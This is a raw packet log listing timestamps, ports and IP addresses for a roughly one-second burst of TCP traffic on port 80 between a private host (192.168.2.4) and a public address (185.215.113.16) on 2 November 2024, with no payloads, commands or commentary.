Nov 2, 2024 07:16:14.882456064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882467985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882468939 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882484913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882488012 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882497072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882509947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882513046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882523060 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882523060 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882538080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882548094 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882575989 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882577896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882589102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882600069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882611990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882616043 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882628918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882635117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882642984 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882663012 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882678986 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882723093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882744074 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882755041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882766008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882777929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882778883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882788897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882800102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882806063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882812977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882814884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882824898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882836103 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882843971 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882855892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882864952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882869005 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882878065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882879019 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882889032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882899046 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882906914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882910013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882919073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882930994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882930994 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882945061 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882963896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882987022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882998943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883008957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883021116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883032084 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883033037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883043051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883052111 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883054972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883066893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883069038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883080006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883091927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883096933 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883102894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883117914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883121967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883130074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883135080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883145094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883157015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883162022 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883173943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883177996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883186102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883197069 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883197069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883210897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883217096 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883220911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883234024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883244038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883246899 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883265018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883268118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883280039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883285999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883291006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883300066 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883304119 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883322954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883325100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883332968 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883337021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883352041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883354902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883363962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883375883 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.883383989 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.883408070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.929995060 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930007935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930017948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930068970 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930103064 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930356979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930368900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930382967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930403948 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930433989 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930438042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930449009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930459976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930474997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930480003 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930486917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930497885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930505037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930507898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930517912 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930536032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930546045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930552006 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930557013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930572033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930579901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930600882 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930619955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930624962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930639029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930660963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930670977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930674076 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930699110 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930732012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930743933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930777073 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930783987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930794001 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930804014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930820942 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930831909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930844069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930850029 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930855989 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.930862904 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930893898 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.930994987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931005955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931015968 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931030035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931056976 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931072950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931139946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931150913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931162119 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931171894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931183100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931193113 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931215048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931245089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931262016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931274891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931286097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931292057 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931298971 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931332111 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931332111 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931435108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931451082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931468964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931479931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931492090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931493044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931502104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931515932 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931529045 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931555033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931588888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931659937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931672096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931680918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931694031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931701899 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931705952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931720972 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931747913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931751966 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931837082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931848049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931864023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931876898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931885958 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931886911 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931899071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931904078 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931910038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.931919098 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.931948900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932121038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932163954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932204962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932214975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932224035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932235003 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932246923 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932249069 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932266951 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932286024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932287931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932300091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932312965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932322979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932329893 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932339907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932343006 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932352066 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932363033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932365894 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932389975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932396889 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932409048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932419062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932420969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932432890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932447910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932461977 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.932466984 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932478905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.932512999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000180006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000251055 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000323057 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000333071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000349045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000360012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000370979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000370979 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000384092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000396013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000396013 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000410080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000425100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000432014 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000439882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000463009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000473976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000475883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000509977 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000606060 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000616074 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000632048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000643015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000653028 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000653028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000667095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000684023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000684977 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000698090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000700951 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000709057 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000718117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000720024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000739098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000740051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000750065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000761986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000763893 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000773907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000787020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000787020 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000797987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000813007 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000834942 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000839949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000857115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000866890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000881910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000885010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000893116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000897884 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000910044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000929117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000935078 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000947952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000984907 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.000984907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.000998974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001009941 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001022100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001024008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001035929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001043081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001049995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001070023 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001079082 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001090050 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001101017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001111031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001121044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001121998 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001136065 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001154900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001194954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001207113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001215935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001225948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001236916 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001247883 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001260042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001266956 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001275063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001282930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001295090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001303911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001306057 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001316071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001326084 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001333952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001339912 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001344919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001357079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001368046 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001369953 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001385927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001389027 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001396894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001408100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001410961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001432896 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001441956 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001455069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001461983 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001466036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.001487017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.001502037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.002106905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.002157927 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.002178907 CET	80	63819	185.215.113.16	192.168.2.4
